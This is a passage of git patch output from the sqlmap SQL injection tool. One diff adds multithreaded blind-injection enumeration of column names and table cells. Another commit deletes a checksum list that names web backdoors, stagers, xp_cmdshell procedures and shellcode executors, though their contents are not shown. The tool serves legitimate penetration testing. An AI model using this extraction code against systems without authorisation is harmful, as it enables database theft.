DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -880,8 +893,22 @@ class Databases(object): query += condQuery field = condition - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + return agent.limitQuery(index, query, field, field) + + indexList = list(getLimitRange(count)) + + # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per + # worker, decoded sequentially - no length probe, predictive inference applies, names stream + # live). Serial fallback for single-thread and when also fetching per-column comments. + columnNames = None + if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") + + for position, index in enumerate(indexList): + if columnNames is not None: + column = unArrayizeValue(columnNames[position]) + else: + column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False)) if not isNoneValue(column): if conf.getComments: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 917814779..9c9a87b84 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -418,41 +418,70 @@ class Entries(object): debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) + def cellQuery(column, index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + return agent.whereQuery(query) + try: - for index in indexRange: + # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there + # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a + # value's characters across threads) and the per-column Huffman model + low-cardinality + # guessing engage under concurrency. Used for the boolean channel with '--threads'; the + # classic per-character-parallel loop stays for single-thread and time-based. + if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + # One value-parallel pass over every (non-empty) cell, so there is a single + # thread pool and values stream live as they complete - out of order, exactly + # like the error/union dumps - instead of a silent progress counter. + nonEmpty = [_ for _ in colList if _ not in emptyColumns] + tasks = [(column, index) for column in nonEmpty for index in indexRange] + retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else [] + retrieved = retrieved if retrieved is not None else [None] * len(tasks) + + offset = 0 for column in colList: - value = "" + entries[column] = BigArray() + lengths.setdefault(column, 0) - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) - elif Backend.isDbms(DBMS.FRONTBASE): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + if column in emptyColumns: + values = [NULL] * len(indexRange) else: - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + values = retrieved[offset:offset + len(indexRange)] + offset += len(indexRange) - query = agent.whereQuery(query) + for value in values: + value = '' if value is None else value + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + else: + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 - value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) - value = '' if value is None else value + if column not in entries: + entries[column] = BigArray() - lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) - entries[column].append(value) + value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True) + value = '' if value is None else value + + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True From 8f6a37275c184695d0ca0048fb28a2796ac6a2d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 13:34:46 +0200 Subject: [PATCH 32/34] Some refactoring --- data/txt/sha256sums.txt | 747 -------------------------- doc/THIRD-PARTY.md | 2 - extra/shutils/precommit-hook.sh | 5 - lib/core/common.py | 44 +- lib/core/option.py | 4 +- lib/core/settings.py | 2 +- lib/request/multiparthandler.py | 89 +++ sqlmap.py | 4 +- thirdparty/multipart/__init__.py | 0 thirdparty/multipart/multipartpost.py | 114 ---- 10 files changed, 118 insertions(+), 893 deletions(-) delete mode 100644 data/txt/sha256sums.txt create mode 100644 lib/request/multiparthandler.py delete mode 100644 thirdparty/multipart/__init__.py delete mode 100644 thirdparty/multipart/multipartpost.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt deleted file mode 100644 index 6ed89afa7..000000000 --- a/data/txt/sha256sums.txt +++ /dev/null @@ -1,747 +0,0 @@ -e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql -6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql -798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql -5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql -3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql -afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql -657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql -1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql -9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql -02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql -02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql -606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql -4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql -7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt -3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_ -35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_ -081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_ -f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_ -78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_ -a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt -a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_ -8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_ -c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ -8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ -af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ -aa4d6396df0abde7560ced7d8f7625dd70d57401db86d205f80064609c4b2772 data/txt/catalog-identifiers.txt -eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt -63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt -ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt -522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt -6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt -9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ -0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ -5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ -3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ -d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ -e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ -585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ -956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ -619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ -7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ -2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ -b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ -c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ -ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ -b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ -f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ -869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ -4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ -bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ -8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ -6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ -d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ -102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ -031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ -dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ -07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ -807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ -8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ -7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt -f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3 data/xml/banner/generic.xml -99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217 data/xml/banner/mssql.xml -332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9 data/xml/banner/mysql.xml -6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml -9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml -86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml -146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml -8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml -a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml -e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml -3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml -a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml -23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054 data/xml/errors.xml -43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml -c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/payloads/error_based.xml -516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml -0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml -379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml -40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queries.xml -127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md -0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS -ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md -233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md -8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md -08392b358c91c79310741c11181572ac0d9c805bf9b65e93cfe6165d569e1918 doc/translations/README-ar-AR.md -692cb9911393212d0cc7115e4e281a0c7368c11060ce41140e878d02a3c9b4fc doc/translations/README-bg-BG.md -9d84fd48b533abbf987d3758c5382a4ba671d3b0499eec301965dc7061cd8794 doc/translations/README-bn-BD.md -65253be0f258af1315cd3dafe555788007537f562e4767cd62d16deff940ea9e doc/translations/README-ckb-KU.md -a879590d8df8e45dfc1a23099446a5f68b8587c31ecfcb735f326a347ccff706 doc/translations/README-de-DE.md -0d9cae50c55529bb0aa0523b7b7b0621d4e32a1ce2bbcfa214139b3d038c555b doc/translations/README-es-MX.md -c3024073cb28099f3acfa406a73e71c91c9a02e193964ed291dbff6b90427334 doc/translations/README-fa-IR.md -10ea504f41be97369f50cefe76bc28cfc629b26a6bf384b8d70e881c96dc0923 doc/translations/README-fr-FR.md -b6aa61ad27714a55c70265570145ce7ee335b9050745e648dcea48721eaf334a doc/translations/README-gr-GR.md -22351d0474d0272d8dc6551adb31c96a6ca1085e01f608ab0c00802680a2a40b doc/translations/README-hr-HR.md -782ba3afa853ace3a69811ed607639978934001f2217325880342e3f1873f4a2 doc/translations/README-id-ID.md -46990bbb2909c3045f95c726b22ff9058ded37ad6a5485886e2c576a5864278a doc/translations/README-in-HI.md -3f9dd7c6ef325d504841314c13356e416468d6a6f8ed8aab1ed4a5537fd3908b doc/translations/README-it-IT.md -39958aa346a5e0db2c330ec45d216764bef19cd660b87dc0f5251f93d501f5a3 doc/translations/README-ja-JP.md -0cf573bcae1454c34eb682e6aa2cbf1f215f4cd6434d088dd9ae3d32d2fedb67 doc/translations/README-ka-GE.md -e1798fb6d4f5369de0c6cd4c03b42082d918992e1744ee180d7e55736af6099e doc/translations/README-ko-KR.md -40a61f100da538bff95af4a582f0856aa36e5d7c5f27c20878688fd48fcd8f98 doc/translations/README-nl-NL.md -9005009f5db979677e4a5fd8282fee28086029a9483be770fdbf375674223709 doc/translations/README-pl-PL.md -4a3e59a37cd9f5ad9dce349a95b5f7e8cbb074548a6b8086129f5e9eda7fd72b doc/translations/README-pt-BR.md -93540499d004d893d4d1f79894824f28ab31f57d3ed9d698a25d08179dbe063c doc/translations/README-rs-RS.md -9732f6e022bf353543e7e762c64e927c2503325cefc42f57a90efb2b43d64055 doc/translations/README-ru-RU.md -dfc5bfe69122fde6c933b2c71e71da7c21ad15f5a3c74f9201d3360ce47df5d2 doc/translations/README-sk-SK.md -bd05734a41844fff3a304d137b95422a76ad2737b304f762e44883da7d8a147f doc/translations/README-tr-TR.md -81912ba386b468fdc95c0bdddf6bbee5154b43af579b6cee2be752d54ff490a4 doc/translations/README-uk-UA.md -ac826cb38a3c0c6ce66c3deec79e72ce526f3fdc9c664c844bcdbdbc73aeae5e doc/translations/README-vi-VN.md -a46681b34b3e5c5cd6cbd926f19b6aa104b3f202e600289565d443e57850c8d4 doc/translations/README-zh-CN.md -8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py -509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py -7f6394c9b3566bf93fc10020bc584aa8fac36dc11c3c523096eadc63ab243ec9 extra/cloak/cloak.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py -6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt -4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py -a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt -6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b extra/icmpsh/icmpsh.exe_ -4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c -8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl -12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py -6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c -ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py -27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py -191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt -3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d extra/runcmd/runcmd.exe_ -70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt -baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp -a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj -16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln -d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp -e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h -38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_ -b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_ -cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt -b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh -a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0 extra/shutils/blanks.sh -cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55 extra/shutils/drei.sh -dd5141a5e14a5979b3d4a733016fafe241c875e1adef7bd2179c83ca78f24d26 extra/shutils/duplicates.py -0d5f32aa26b828046b851d3abeb8a5940def01c6b15db051451241435b043e10 extra/shutils/junk.sh -74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py -fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh -3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214 extra/shutils/pycodestyle.sh -0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a extra/shutils/pydiatra.sh -763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0 extra/shutils/pyflakes.sh -07c500a13c9fca3ee2915bf00db9f064fa7d4aa1631989ef86f87828bdf60c11 extra/shutils/pypi.sh -df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh -1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py -a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py -00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py -d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py -c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -2b0e014869b071a2b6aa4e0c9a23427abdc61a92f09adbcce123fd0fc7ec3aa6 lib/core/common.py -8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py -5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py -c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -771ef50ebfa72a1019f819071dcfcd249ea6bb533051e9388c14917823e1f4f3 lib/core/datatype.py -f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py -147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py -b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py -c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums.py -5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 